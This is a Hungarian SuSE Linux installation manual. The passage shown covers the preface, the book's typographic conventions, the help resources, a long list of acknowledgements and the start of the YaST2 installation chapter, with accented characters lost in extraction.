Az igazi "Linux" csak maga a rendszermag. Ilyen mag a "lelke" minden UNIX opercis rendszernek. A rendszermag nmagban azonban mg nem egy teljes opercis rendszer. A UNIX-okhoz hatalmas mennyisg ingyenes szoftver ll rendelkezsre, u melyek a Linux szmra is szabadon hozzfrhet ek. Ezek azok a prograo mok, amik az opercis rendszert azz teszik, ami valjban. A legtbb ilyen program GNU vltozat (GNU) UNIX program: legtbbje az eredetinl is jobb kpessgekkel rendelkezik. Kzlk a GNU C/C++ fordt , ami jelenleg a legjobb elrhet fordt, egyben taln a leghresebb o program is. Nem szabad megfeledkeznnk a rengeteg kis s nagy programrl, a shellekr l, a fjl- s szveg-segdprogramokrl (mint a sed , az awk s a o perl ), az editorokrl (pl. a vi ) , vagy a komplett munkakrnyezetekr l (mint o az Emacs). A Linuxot az XFree86 TM teszi teljess (legutbbi stabil verzija a 4.0.3), az gynevezett X Window rendszer (jelenleg X11 6.4-es kiads), mely teljesen kompatibilis az X Consortium, Inc. hivatalos X11 R6.4 csomagjval. Mindezek az elemek, sok egyb eszkzzel, alkalmazssal s szrakoztat programmal (jtkok) alkotjk a rendszert, amit a htkznapokban Linux-knt ismernk. Rengeteg ingyenes szoftver hozzfrhet , s egy m kd Linux o u o rendszert tbbflekppen lehet sszelltani. Ezen a ponton kell megemltennk a Linux disztribtorokat, jelen esetben a SuSE Linux-ot. "Disztribci"nak neveznk egy vlogatst a szles vlasztk ingyenes szoftverekb l. A vgtermk a SuSE Linux CD-k esetben egy o tbb mint 1300 szoftvercsomagbl ll gy jtemny. u A SuSE Linux az ingyenes szoftvereken tl (szoftverek, melyek forrskdja a CD-ROM-okon rajta van), tartalmaz olyan szoftvercsomagokat is, amiket a SuSE csak lefordtott formban adhat kzre. Mivel a disztribci ingyenesen hozzfrhet az interneten, a rendszer frisso tse adott esetben nem jelenti felttlen egy j disztribci megvsrlst.

1.2

E knyv clja Megjegyzsek a hasznlathoz

Ez a knyv a telepts megknnytsre jtt ltre. Nem tud s nem is akar helyettesteni rszletesebb irodalmat, ami egy rdekl d felhasznlt a nagyo o teljestmny szmtgpek csodlatos vilgba trtn mlyebb kutatshoz u o vezetne az erre vonatkoz irodalom felsorolst a knyv vgn tallhatja meg. 4

1.2. E knyv clja Megjegyzsek a hasznlathoz Els teleptshez kezdetnek megfelel lehet a gyakorlatiasabb 2 . fejezetben o o (17. oldal) lv informcik elolvassa. Mint kezd Linuxos, semmikpo o pen ne vesse magt bele kalandokba, anlkl hogy brmit is elolvasna. Minl tbbet olvas, annl inkbb elkerlheti a csaldsokat s nveli sajt hatkonysgt gy miel tt nekilt, legalbb a 19 . fejezetben (493. oldal) tallhat o informcikat nzze t... E knyv megrsa nagy kihvs volt, mert szinte lehetetlen megfelelni a Linux dinamikjnak, az ingyenes szoftvereknek, lpst tartani a legjabb fejlesztsekkel, s egyid ben megfelelni azoknak, akiknek j a UNIX vilga anlkl o hogy ez untatn a gyakorlottabb Linux felhasznlkat. Ennek a knyvnek az a clja, hogy megprbljon egy kezd linuxosnak btoo rt lkst adni a felfedez utazshoz ezen az j rendszeren keresztl. o A knyv alapvet en a kvetkez rszekre tagoldik: o o Telepts Ez a rsz egy elkpzelt telepts lersn keresztl segti a kezd o linuxost (lsd a 2 . fejezetben (17. oldal)). Rmutat a lehetsges hibaforrsokra s tnyleges segtsget nyjt a felmerl problmkhoz. A YaST o a SuSE telept s adminisztrcis eszkze, amit a 3 . fejezetben (83. o oldal) trgyalunk. A lilt s a rendszer elindulst a 4 . fejezetben (119. oldal) trgyaljuk rszletesen. Hlzati kongurls Amint az alaprendszer felllt s m kdik, mris meu gynk tovbb a hlzati kongurlshoz (kapcsolds az internethez). Grakus felhasznli fellet Az XFree86 TM - felhasznli fellet belltsrl s aktivlsrl olvashatunk a 9 . fejezetben (285. oldal) s a 8 . fejezetben (237. oldal). Hang, szkenner, noteszgpek, nyomtats stb. A hardver kpessgeinek ismertetsr l olvashatunk a 10 . fejezetben (311. oldal). o A Linux rendszermag Itt kerlnk a dolgok lnyeghez. A Linux rendszermag a 13 . fejezetben (375. oldal) kerl bemutatsra. A 14 . fejezetben (383. oldal) ismertetst nyjtunk sajt rendszermag fordtshoz s a rendszermag teleptshez. Frissts, szoftvercsomagok, rendszerindts Tbb frisstsi s szoftvermenedzselsi stratgit mutatunk be a 15 . fejezetben (419. oldal). A specilis SuSE Linux kpessgeket s az indtsi koncepcit a 17 . fejezetben (457. oldal) magyarzzuk el. Biztonsg s kezdjnk hozz A biztonsgi elgondolsok az els lpsekkel o egyetemben a 18 . fejezetben (477. oldal) tallhatk. Itt kaphatunk el szr informcikat a linux parancsokrl s egyebekr l. o o Technikai fggelk A fggelkben megtalljuk a legfontosabb kongurcis fjlok listjt, a leggyakrabban hasznlt billenty kombincikat, plu dafjlokat, licenszegyezmnyeket, s a SuSE Linux-szal kapcsolatban feltett leggyakoribb krdseket (GY.I.K.), valamint sok mst is. Termktmogats A teleptsi segtsg s a mg kiterjedtebb "Professional Services" ismertetse az A . fejezetben (519. oldal) olvashat. Krjk, olvassa el ennek rszleteit is, miel tt kapcsolatba lpne a SuSE-val! o Magyarzat, knyvjegyzk s szjegyzk Ha lenne valami, amit eddig nem talltunk meg, e kiterjedt mellkletben s a magyarzatokban biztos 5

1. El sz o megleljk, vagy megtalljuk a fontosabb fogalmak magyarzatt a H . fejezetben (559. oldal). Egyszer en b vthetjk ltalnos ismereteinket a u o Linuxrl, a UNIX-rl s a szmtgpekr l e magyarzatok segtsgvel. o

1.3. Jelmagyarzat Mit is jelent az hogy "meggyfa: # ls" ?

1.3

Jelmagyarzat Mit is jelent az hogy "meggyfa: # ls" ?

A knyvben alkalmazott tipograi jeleket az 1.1 tblzat magyarzza el.

Szveg kinzete L INUS T ORVALDS GNU Emacs (emacs) Adabas D /etc/passwd <fjl>

<fjl> PATH 192.168.1.2 ls saga meggyfa: # susehelp

jancsi@meggyfa:/tmp > ls

C:\> fdisk Alt Ctrl + Alt + Del "Permission denied" System update Duesentrieb


Jelents egy fontos szemly a GNU Emacs program elindtsa az emacs parancsra az Adabas D termk egy fjl vagy knyvtr neve amikor a parancsot megadjuk, a fjl-t helyettestsk be a kvnt rtkkel, de a < > jeleket NE adjuk meg ! vltoz, melynek neve fjl krnyezeti vltoz, melynek neve PATH egy vltoz rtke az ls parancs a saga nev felhasznl u root burok a ~ knyvtrban. (A ~ az adott felhasznl "sajt knyvtra" sajt knyvtr), a susehelp egy parancs , a meggyfa egy gp neve (hostnv). a jancsi nev felhasznl u shellje a /tmp knyvtrban, az ls parancs megadva DOS parancssorban, az fdisk parancs az "Alt" billenty lenyomsa u a + jel a megadott billenty k u "egyttes" lenyomst jelzi rendszerzenet menbejegyzs System update egy cg neve "Duesentrieb" hivatkozs a fggelkben lv o szjegyzkre

1.1 tblzat: Tipograi szoksok a szveg szedse kzben

1. El sz o

1.4

Harc az oldalak szmval

A rendelkezsre ll oldalak szma hatrt szab, hogy mi frhet bele ebbe a knyvbe. A Linuxhoz rendelkezsre ll szoftverek mennyisge lassan mr a vgtelen fel tart. Ezrt mr most is egy Online dokumentum mutat ll rendelkezsre. A rendszerhez szksges nagy mennyisg technikai inforu mcival egytt megprbltuk biztostani, hogy a linux-felhasznlv vlshoz szksges "els lpsek" (bejelentkezs, fjlok msolsa szerkesztse s o trlse, CD-ROM s hajlkonylemezek hasznlata, stb.) vilgosan legyenek lerva (lsd a 19 . fejezetben (493. oldal)). 1.4.1 Termktmogatsi adatbzis

A jl ismert problmkra mr tbb megolds is rendelkezsre ll. Ezeket megtalljuk a http://sdb.suse.de cmen lv adatbzisban. o Javasolt, hogy ezt nzzk meg el szr! o Az Online termktmogatsi adatbzis mellett a teljes adatbzis (sdb_en csomag a doc kszletb l) is megtallhat a SuSE Linux CD-ken. Ezeket o a cikkeket brmely WWW bngsz vel ( arena, lynx, netscape) megtekinto hetjk. 1.4.2 Hypertext-segtsg

A lers lnyeges rszei hypertext-formban is hozzfrhet k. A hypertext o futtatshoz futtassuk a susehelp parancsot. Attl fgg en, hogy grakus o felleten dolgozunk ppen, tovbbi program (egy bngsz ) fog elindulni a o lers elolvasshoz. Az X Window System alatt ez a Netscape (lsd az 1.1 brt), szveges konzolon a lynx (lsd a 16.7 . fejezetben (449. oldal)). Tovbbi lehet sg a segtsg megjelentsre: o
jancsi@meggyfa:/home/jancsi > susehelp --help

A segtsgnyjt rendszert a susehilf csomag tartalmazza a doc1 (Documentcik) kszletben. 1.4.3 Texinf

Nhny programcsomag Texinfo formtum dokumentcit tartalmaz, ami egy msik hypertext-varins. Ezeket az Infoviewer (info) vagy az Emacs (emacs) info segtsgvel olvashatjuk el. Az X Window alatt hasznlhatjuk a tkInfo (tkinfo-t) vagy a rgebbi xinfo-t. 1.4.4 Kziknyvlapok

Programokrl vagy parancsokrl informcit szerezni rendszerint a man parancs megadsval lehet.
jancsi@meggyfa:/home/jancsi > man <parancs>

megjelenti a megadott parancs "kziknyvlapjt" (angolul: manpage)1 . Rendszerint megjelenti a parancs sszes lehet sgt, s elmagyarzza a o parancs hasznlatt. A kziknyvlapok a SuSE segtsgnyjt rendszern keresztl is olvashatk; lsd az 1.4.2 fejezetben.
1

Ezentl kziknyvlap.

1.4. Harc az oldalak szmval

1.1 bra: A SuSE segtsgnyjt rendszer nyitoldala a Netscape bngsz o ben 1.4.5 GY.I.K., HOGYAN s OLVASD.EL

A GYIK (Gyakran Feltett Krdsek (angolul: FAQ)), HOGYAN (Hogyan csinljunk meg valamit (angolul: HOWTO)) s az OLVASD.EL (Alapismeretek, (angolul: README)) kifejezsek gyakran hasznlatosak Linuxos szakmai krkben. A legalapvet bb informcikat e fjlok tzetes tolvassval o szerezhetjk meg az adott tmrl. A /usr/share/doc knyvtrban lv alknyvtrak informcikat tartalo maznak a rendszerre teleptett csomagokrl. Itt gyakran megtallhatunk hinyz parancsopcikat, kongurcis fjlok neveit, melyeket sehol mshol nem tallunk meg, mg esetleg a fejleszt kutyjnak a nevt is! Mindeneo setre rdemes ide benzni, miel tt egy adott szoftvert trlnk. o A SuSE Linux GYIK kln emltst rdemel, mely az F . fejezetben (541. oldal) tallhat. A /usr/share/doc/faq knyvtrra fel kell hvni a gyelmet, ahol a gyakran feltett krdsek listja s az azokra adott megfelel vlaszok olvaso 9

1. El sz o hatk, ha a manyfaqs csomag a doc kszletb l teleptve van. o A /usr/share/doc/howto knyvtr tartalmazza a "recepteket", amelyek elmagyarzzk, hogyan kell telepteni bizonyos csomagokat, vagy mit kell tenni, ha bizonyos problmval tallkozunk. Az els CD-n, a docu knyvtrban tallhatk a HOGYAN fjlok legfrisebb o (a CD ksztsnek pillanatban), vltozatai. Linux alatt a less program hasznlatos fjlok olvassra. Habr ezek a fjlok tmrtettek (.gz), a less rtelmes annyira, hogy kezelje ezeket is.
jancsi@meggyfa:/ > less /usr/share/doc/howto/DOS-to-Linux-HOWTO.gz

Az els CD-n, a /docu/howto knyvtrban tallhatk a legfontosabb HOo GYAN fjlok legfrisebb (a CD ksztsnek pillanatban), vltozatai. Megri benzni ebbe a knyvtrba! Ezek a fjlok nincsenek tmrtve; knyelmesen olvashatk mr a telepts el tt is (pl. DOS all a type parancs segtsgvel). o A rendszermagra vonatkoz krdsek-feleletek megtallhatk a /usr/src/linux/Documentation knyvtrban. Ez csak akkor elrhet , ha teleptettk a rendszermag forrst (a linux vagy az o lx_suse csomagot), amit klnben is nagyon javaslunk. Nagyon sok tovbbi tlet tallhat a rendszermagforrs alknyvtraiban (mint pl. a hangkrtya-meghajtk), s a btrabbaknak a rendszermag forrsa maga is. Ha van olyan krdsnk, amit nem vlaszolt meg ez a knyv, nzzk meg a forrst tovbbi informcikrt, mivel e knyv tmakre vges. A Linux fejlesztse olyan gyors iramban trtnik, hogy ez a nyomtatott dokumentum csak ideig-rig tud napraksz maradni. 1.4.6 Ingyenes knyvek

A books csomag a doc1 (Dokumentcik) kszletben nhny knyvet tartalmaz PostScript formtumban. A gsview vagy a gv csomag a gra1 (Graphics) kszletb l megjelenti ezeket a knyveket ha nem o tr dnk a fkkal, akr ki is nyomtathatjuk azokat. o Miel tt kinyomtatjuk, jobb, ha elgondolkozunk, nem lenne gazdasgosabb o mgis megvenni az eredeti knyvet!

1.5

Ksznetnyilvntsok

Mindenkinek, aki hozzjrult a Linux nagy sikerhez, szeretnnk ksznetet mondani, klnsen F LORIAN L A ROCHE-nak, kinek kzrem kdse felbeu cslhetetlen rtk volt szmunkra. Az O gyakorlata s tudsa segtett minket u hozz, hogy felptsk az els Linux rendszert. Az O Jurix disztribcio val val nagy gyakorlatnak ksznhet , hogy segteni tudott a SuSE Linux o ltrehozsban. Nlkle ez a disztribci nem lett volna elrhet jelenlegi o formjban. Szintn sok ksznet jr H ARALD KOENIG-nek az XFree86 TM team-b l, o aki rtkes tleteket s tancsokat adott neknk az X Window rendszerrel kapcsolatban, s E BERHARD M OENKEBERG-nek, aki nagyon segt ksz volt o a CD-ROM meghajtk problmjnak megoldsval. Sok ksznet jr H ANS L ERMEN-nek, aki a jl ismert loadlin.exe s a DOS all indul setup.exe szerz je, ami lehet v teszi a Linux indtst DOS-bl. o o 10

1.5. Ksznetnyilvntsok Ksznet jr mindazoknak, akik felldoztk szabadidejket, hogy lefordtsk a YaST s a linuxrc zeneteit, hogy a SuSE Linux elrhet legyen az egyre o nagyobb szm nemzetkzi felhasznl rszre: Jess Bravo lvarez, Gunay Arslan, Jaume Badiella i Aguilera, Zbigniew Baniewski, Sndor Brny, Olaf Borkner-Delcarlo, Michael Bravo, Grkem etin, Franca Delcarlo, Jochen Depner, Benedek Hermann, Ibn Jos Garca Castillo, Dora Georgarou (with Romy the barking dog), Gintaras Gocentas, Pablo Iranzo Gmez, Krzysztof Hotiuk, Milan Hromada, Arthur Kerkmeester, Ralf A. Lanz, Franoise Lermen, Zoltn Levrdy, Nuno Lima, Francisco Javier Moreno Sigenza, Tomas Morkus, Karine Nguyen, Matts Nordman, Aleksey Novodvorsky, Razvan Cristian Oprea, Gerco Oudhof, Jordi Jaen Pallares, George Papamichelakis, Alexey Pavlov, kos Rtkai, Bruno David Rodrigues, Voula Sanida, Gbor Sri, Aleksey Smirnov, Lszl Vradi, Istvn Vradi, P. Vlachodimitropoulos, Joao Teles, Nuno Vieira, January Weiner, Monika Wei, s I Made Wiryana. Termszetesen sok ksznet a rettenthetetlen btatesztel knek, akik veszo lyeztettk m kd rendszereiket: Andreas Koegel, Christian Httermann, u o Dirk Ulbrich, Eberhard Mnkeberg, Frank Hofmann, Georg C. F. Greve, Harald Knig, Harald Wieland, Karlo Gross, Jens Frank, Lutz Pressler, Martin Hehl, Martin Konold, Martin Schulze, Michael Kleinhenz, Norbert Eicker, Oliver Zendel, Ralf Geschke, Stefan Bliesener, Thomas Wrner, Ulrich Goebel, Ulrich Windl, Volker Lendecke, Wolfgang Barth, s a KDE csapat.
A Matthias Eckermann jra tdolgozta a LTEX makrkat s modernizlta a knyv megjelenst, Manuela Piotrowski grakai irnymutatst nyjtott. Ezek a KOMA-"" Dokumenteken alapultak, Frank Neukam s Markus Kohm ltal osztlyozva, amiket sorjban a "rgi" susebuch makrk kr ptett Werner Fink s Martin Scherbaum.

Ken Wimer volt felel s a kpek elksztsrt s feldolgozsrt, Andrea o Ratschker segtsgvel - sok ksznet nekik. Meleg ksznet azoknak is, akik segtettek az angol szveg lektorlsban: Chris Mahmoud, Monika Weiss, Edith Parzefall s klnsen Roger Whittaker. rtkes tleteket s nhny esetben szveges anyagot nyjtottak az albbiak: Holger Achtziger, Marco Banse, Stephan Barth, Harald Bertram, Stefan Dirsch, Michael Eckert, Thomas Fehr, Peter Findeisen, Matthias Frhauf, Kurt Garloff, Lenz Grimmer, Iris Grossmann, Berthold Gunreben, Michael Hager, Michael Hasenstein, Ulrich Hecht, Fabian Herschel, Bernhard Hlcker, Kevin Ivory, Bjrn Jacke, Klaus Kmpf, Karsten Keil, Wolfgang Kern, Andi Kleen, Marcus Kraft, Thorsten Kukuk, Frank Lemser, Hans Lermen, Dirk Lerner, Christopher Mahmood, Walter Mecky, Marco Michna, Rdiger Oertel, Ali zcan, Norman Pancner, Dirk Pankonin, Petr Pavlk, Bjrn Pfeiffer, Siegfried Olschner, Milisav Radmanic, David Rasch, Andrea Ratschker, Rupert Rockinger, Anja Schambach, Jrgen Scheiderer, Robert Schmid, Andreas Schmidt, Thomas Schraitle, Andreas Siegert, Dirk Spilker s Robert Adrian Walczak, Roger Whittaker, Sandra Wiegratz s Olaf Zaplinski. 11

1. El sz o A gyrts technikai tmogatsnak lvonalban vannak: Holger Dyroff, Christian Egle, Frank Sundermeyer s Claudio Taulli. Ksznet s tovbbi j munkt! s a tbbi fontos ember, akik nlkl ez soha nem vlhatott volna valra: Achim Fra., Adrian Sch., Agathe Web., Alexander Eib., Alexander Muc., Alexander Mh., Alexander Zwi., Alexandra Kop., Ali zc., Anas Nas., Andrea Geb., Andrea Karin Rat., Andreas Bra., Andreas Jae., Andreas Kle., Andreas Nem., Andreas Sch., Andreas Sie., Andreas Ste., Andreas Ws., Anita Fle., Anita Lel., Anja Mau., Anja Sch., Anke Bt., Antje Por., Arnd War., Arvin Sch., Barbara Bc., Beate Buh., Bernd Gre., Bernhard Hl., Bernhard Kai., Berthold Gun., Bettina Bot., Bhrinda Maj., Bianca Hub., Birgit Sch., Bjrn Swi., Brigitte Mur., Bruno Ger., Burchard Ste., Carlos Los., Carsten Fis., Carsten Gro., Carsten Hg., Carsten Kin., Christian Bar., Christian Dec., Christian Deg., Christiane Dil., Christian Egl., Christian Lor., Christian Sch., Christian Sch., Christian Zoz, Christoph-Erdman Pfe., Claudia Dip., Claudio Tau., Costin Kie., Daniel Bis., Daniel Br., Daniel Egg., Daniel Mei., David Str., Dennis Ols., Dieter Blo., Dieter Jg., Dieter Tha., Dirk Hoh., Dirk Ler., Dirk Pan., Dirk Spi., Doris Sei., Dragan Mes., Ben Mar., Mike Fab., Edith Par., Edith Sow., Egbert Eic., Erich Stu., Erich Wei., Eva Maria Ern., Evelyn Lan., Fabian Her., Florian Kur., Francisca Sta., Francoise Ler., Francoise Mor., Frank Bod., Frank Lem., Frank Lut., Frank-Michael Jor., Frank Pio., Frank Sch., Frank Sch., Frank Sch., Frank Sun., Friedrich Sit., Gabriele Str., Gema Dia., Georg Sim., Gerlinde Reg., Gregor Fis., Hans Ada., Harald Ber., Harald Kn., Harald Ml., Hardo Hol., Hartmut Mey., Hartmut Pil., Heidi Joh., Heike Gn., Heiko Rom., Helene Mor., Helmut Her., Hendrik Vog., Holger Ach., Holger Dyr., Hubert Man., Hubert Sch., Ibrahima Kam., Ines Poz., Ingo Br., Ingo Lam., Jan-Hendrik Ben., Jan Ml., Jens-Gero Boe., Jens Puz., Jens San., Jesko Sch., Joachim Gle., Joachim Sch., Jochen Rd., Johannes Mei., Jordi Jae., Jrg Arn., Jrg Din., Jrg Dip., Jrg-Gerald Sie., Jrg Gli., Jrg Olaf Rem., Jrg Sch., Julia Sto., Jrgen Br., Jrgen Gec., Jrgen Hen., Jrgen Sch., Kadriye Mah., Kai Alt., Kai-Uwe Sch., Karin Amm., Karin Beh., Karine Ngu., Karin Zei., Karl Eic., Karl-Heinz Gra., Karsten Kei., Katja Dor., Katja Ger., Katrin Sch., Ken Hag., Kenneth Wim., Kerstin Bog., Klaas Fre., Klaus Bru., Klaus Km., Klaus Wag., Kurt Gar., Kurt Zie., Kyung Ae Rt., Lars Kno., Lars Kk., Lars Mar., Lars Pin., Lenz Gri., Maik Au., Manfred Blu., Manuela Pio., Marc Ber., Marco Ban., Marco Mic., Marco Now., Marco Ska., Marc Rh., Marcus Kra., Marcus Sch., Mario Beh., Marius Tom., Markus Rex, Markus Wir., Mark Wal., Marnie Pus., Martina Eck., Martina Rol., Martina Sch., Martina Ung., Martin Bau., Martin Ber., Martin Ede., Martin Kon., Martin Las., Martin Lc., Martin Sch., Martin Sch., Matthias Eck., Matthias Fr., Matthias Hof., Matthias Kar., Matthias Ket., Matthias Koh., Matthias Lip., Matthias Mei., Matthias Wag., Matthias Wr., Meike Lun., Melanie Stu., Michaela Cor., Michaela Geu., Michael And., Michael Aug., Michael Bur., Michael Cal., Michael Hag., Michael Has., Michael Hei., Michael Kra., Michael Rad., Michael Ri., Michael Sie., Michael Wey., Milisav Rad., Miriam Tam., Monika Wei., Nadin Gn., Nessim Hem., Nicolas Lin., Nicolaus Mil., Nicole Zwe., Nina Kno., Nina Pol., Norbert Fed., Norbert Mun., Olaf Don., Olaf Her., Oliver Mar., Oliver Sch., Oliver Sch., 12

1.5. Ksznetnyilvntsok Patrice Dog., Patricia Vaz, Patrik Fli., Paul Zir., Peter Alb., Peter Fin., Peter Loo., Peter Pm., Peter Rei., Peter Sch., Peter Var., Petra Sil., Philipp Tho., Pia Han., Pieter-Frans Hol., Rainer Lin., Ralf Bc., Ralf Haf., Reinhard Kna., Reinhard Max, Reinhard Wei., Remo Beh., Renate Kle., Renate Sch., Robert Sch., Robert Way., Roland Dyr., Roland Hai., Rolf Hab., Rolf Sch., Rdiger Hr., Rdiger Ml., Rdiger Oer., Sabina Sal., Sabine Fio., Sabine Fuh., Sabine hr., Sabrina Win., Sandra Gri., Sandra Wie., Sebastian Wor., Siegfried Ols., Silke Ste., Silvia Wit., Silvia Zeljka Wee., Simon Pog., Stefan Ber., Stefan Dir., Stefan Fen., Stefan Fri., Stefan Ger., Stefan Hun., Stefanie Sch., Stefan Kr., Stefan Lie., Stefan Sch., Stefan Sch., Stefan Win., Steffen Win., Stephan Bar., Stephan Kra., Stephan Mar., Stephan Ml., Stephan Sia., Stephen Tom., Sven Beh., Sven Dum., Sylvia Erg., Takashi Iwa., Tanja Els., Tassilo Erl., Tatjana Heg., Thomas Bar., Thomas Bie., Thomas Dei., Thomas Feh., Thomas Grz., Thomas Hl., Thomas Now., Thomas Rl., Thomas Sch., Thomas Wed., Thorsten Kuk., Thorsten Wan., Till Fra., Tilman Ml., Timo Den., Timo Pre., Torsten Dub., Torsten Hal., Udo Sch., Ulla Got., Ulrich Har., Ulrich Hec., Ulrich Sch., Ute Nie., Uwe Bor., Uwe Gan., Uwe Her., Uwe Ker., Volker Edr., Volker Wie., Waldo Bas., Walter Rud., Werner Fin., Werner Kur., Wittawat Yam., Wolfgang Eng., Wolfgang Ker., Wolfgang Ros., Wolfgang Wil. und Xuan-Khai Tra. mindenkinek egy nagy-nagy KSZNET rte! Tovbbi ksznet jr S TEFAN E NDRASS-nak, aki a CD-bort kpt ksztette. * * * A Linuxfejleszt k serege mg mindig er teljesen dolgozik a Linuxon lego o tbbjk nkntes alapon. Szeretnnk megksznni nekik is az er fesztsket o ez a CD-disztribci nem ltezne nlklk. Munknk clja az, hogy elrhet v tegyk az O munkjukat a sok rdekl d o o o felhasznlnak. Kln ksznet PATRICK VOLKERDING-nek munknk tmogatsrt, s ksznet L INUS T ORVALDS-nak! s vgl, de nem utljra: Frank Zappa s Pawar! Nrnberg, 2000. jlius 28. Kalandra fel! A magyarorszgi SuSE csapat *

13

1. El sz o

14

II. rsz

A SuSE Linux teleptse

15

2. fejezet

Az els SuSE Linux telepts o


2.1 Gyors t a sikerhez

Fordtotta: Vradi Istvn Az j rendszer teleptse mr a SuSE Linux 6.3 ta jelent sen egyszer sdtt. o u A YaST2 (az j YaST ) intelligens eszkzknt ll rendelkezsnkre, grakus felhasznli fellettel. A YaST2 gyorsan teszi lehet v a SuSE Linux teleo ptst modern szmtgpeken de ha akarjuk, vagy szksges, a telepts elvgezhet szveges mdban is. o A teleptsen rthet prbeszdablakok vezetnek vgig minket. Adatmegads o vagy vlaszts csak akkor szksges, ha nem tallhat meg automatikusan a megfelel adat. o A YaST2 mellett mely akkor a megfelel vlaszts, ha gyorsan akarunk o vgezni a teleptssel s nem akarunk a rszletekkel foglalkozni tovbbra is alkalmazhat a mr kiprblt, hagyomnyos YaST (Yet another Setup Tool). Err l lpsr l lpsre lerst a 2.2 . fejezetben (30. oldal) olvashao o tunk. 2.1.1 Kszljnk fel

me a legjobban megfelel mdok sszegezse: o 1. Telepts a YaST2 -vel kzvetlen az els CD-r l ("Telept CD") ez o o o legjobban akkor vgezhet el, ha gpnk megfelel az albbi feltteleknek: o A szmtgpnk CD-ROM meghajtrl indthat clszer , hogy a VESA 2.0 szabvnynak megfelel grakus rendu o szere legyen (jabb szmtgpeknl mr felttelezhet en ez a helyo zet) ha lehetsges, rendelkezzen 64 MB RAM-mal (memrival) Pentium (vagy azzal kompatibilis, pl. AMD K6) processzorral rendelkezzen

17

2. Az els SuSE Linux telepts o Nem megfelel kongurcinl lehet, hogy el kell fogadnunk nhny o korltozst, pl.: Meg kell vltoztatni az indtsi mdot az "indt lemezre (boot disk)" Szoftvert CD-ROM-rl csak a "kzbens indts (intermediate booo ting)" utn lehet telepteni, ha nincs elegend memria o amennyiben a grakus krtya felismerse nem lehetsges, a telepts szveges mdban megy. Merevlemeznkn elegend helynek kell lenni a teleptshez: 150 MB o kell a minimum rendszerhez, megkzelt leg 500 MB egy tlagoshoz, o s mg tbb hely a tovbbi elemekhez (components). Az albbi esetek lehetsgesek: j szmtgp, opercis rendszer nlkl, els alkalommal trtn o o telepts. Egy merevlemez, amin mr van egy opercis rendszer teleptve, de amin mg van elg szabad hely a lemez vgn. Egy msodik merevlemezt akarunk a SuSE Linuxnak sznni. Ltez , mr hasznlt partcik, amik letrlhet k. Ha ezt csinljuk, o o meg kell fontolnunk, hogy mely adatokat kell biztonsgi mentssel eltennnk a telepts el tt! o Ha a szksgleteink tallkoznak az elvrsokkal, akkor azonnal nekikezdo hetnk kzvetlenl a 2.1.2 fejezett l. 2. Az albbi krlmnyek esetn visszatrhetnk a kiprblt s letesztelt teleptshez a "rgebbi" YaST -ot hasznlva: Ha "professzionlis teleptst" akarunk vgrehajtani, s klnbz o specilis belltsokat kvnunk eszkzlni a rendszeren. Frisstjk a SuSE Linuxot: ekkor el szr olvassuk el a frisstsr l szl o o fejezetet (a 15 . fejezetben (419. oldal)), s hasznljuk a 2. CD-t vagy a csomagban lv "boot disk"-et a frisst krnyezet indtshoz. o o Figyelem: A szveges YaST telept akkor indul, ha az indtshoz a 2. CDo t hasznljuk, vagy a csomagban lv hajlkonylemezt. Rszletes utasts o ehhez a teleptsi eljrshoz a 2.2 . fejezetben (30. oldal) tallhat. Hasznos elolvasnunk a README fjlt az 1. vagy a 2. CD-n, vagy DOS / Windows alatt a README.DOS fjlt; ezek tovbbi informcikat s feljegyzseket tartalmaznak, amik a knyv nyomdba adsa utn merltek fel! 2.1.2 Most mr elkezdhetjk: Az dvzl kperny o o

Kapcsoljuk be a szmtgpet, s tegyk be az els CD-t a meghajtba. o Ha a gp nem indul el a CD-r l, meg kell vltoztatnunk az indtsi sorrendet o a gp BIOS-ban CDROM,C,A-ra; tleteket a bellts megvltoztatshoz a gpnkkel kapott dokumentciban tallhatunk. Pr msodperc mlva megjelenik az dvzl kperny , s a "boot:" o o prompt is felt nik a kperny aljn. u o 18

2.1. Gyors t a sikerhez 3 msodpercnk van arra, hogy megszaktsuk az automatikus eljrst, s kihasznljuk a YaST2 albbi kt specilis lehet sgt: o 1. A telepts szveges mdban kerl vgrehajtsra. Ez hasznos lehet bizonyos krlmnyek kztt. Szveges mdban pldul az adatbeviteli ablakokat jobban felismerik a cskkentltk. Ctrl billenty t. Egy zenet a kperny jobb als u o Ehhez nyomjuk meg a sarkban kzli velnk, hogy szveges mdban kezdjk el a teleptst. 2. A "YaST Extension Disk" teleptse. Aktulis kiterjesztsek (extensions), frisstsek, stb. A YaST2 -vel mindezek betlthet k, miel tt a tnyo o leges telepts megkezd dne. o Ebben az esetben meg kell nyomnunk az Alt billenty t. Egy zenet u jelenik meg a kperny jobb als sarkban, "Have your exteno sion disk ready (Legyen kznl az extension lemeznk)", ks bb krni fogja ezt t lnk a rendszer. o o A kperny aljn zenetek jelennek meg (mint "initrd..." s "Loao ding linux..."); majd pr msodperccel ks bb a rendszermag elino dul (boot) ez felismerhet a jellegzetes "rendszermag-zenetek"-r l, amik o o tfutnak a kperny n. o A YaST2 elindul, s pr msodperc mlva a grakus fellet is megjelenik. Lehetsges problmk Abban az esetben, ha nem jelenik meg semmi az dvzl kperny utn, o o pldul a szmtgpnek problmi vannak az indtssal, lehet sgnk o van beavatkozni a "boot:" prompt-nl. Ha ekkor brmelyik billenty t u lenyomjuk 3 msodpercen bell, a "boot:" jelenik meg, a kperny o megll, s indtsi paramtereket adhatunk meg. A betlts csak akkor folytatdik, ha megnyomjuk az -t. A rendszer indtsi problmit hasonltsuk ssze a 2.8.5 . fejezetben (64. oldal), s a 14.3.2 . fejezetben (385. oldal) lertakkal. Ezekben a fejezetekben a lehetsges okokat rszletesen lertuk, azzal egytt, hogy hogyan oldjuk meg ezeket "kernel paramterek" hozzadsval. Gyakran hasznos megnznnk a hardverlistt is a 2.8.13 . fejezetben (67. oldal). Nhny BIOS-verzi nem tud megbrkzni azzal a nagy "boot image"dzsel (2,88 MB), ami az els CD-n van. Ebben az esetben a msodik o CD-t vagy a "boot disk"-et kell hasznlnunk. 2.1.3 me a YaST2 !

A YaST2 kperny inek baloldaln HELP informci olvashat az aktulis o teleptsi lpshez. Minden adatbeviteli mez , vlasztklista s gomb ("kapo csol") kivlaszthat egy egrkattintssal is. A YaST2 megvizsglja a hardvert, s bepti (integrlja) a felismert elemeket a rendszerbe, grakusan brzolva a telepts llapott. Amint vgzett, automatikusan lp a kvetkez ttelre. o 19

2. Az els SuSE Linux telepts o

2.1 bra: YaST2 : alap belltsok 2.1.4 A nyelv kivlasztsa

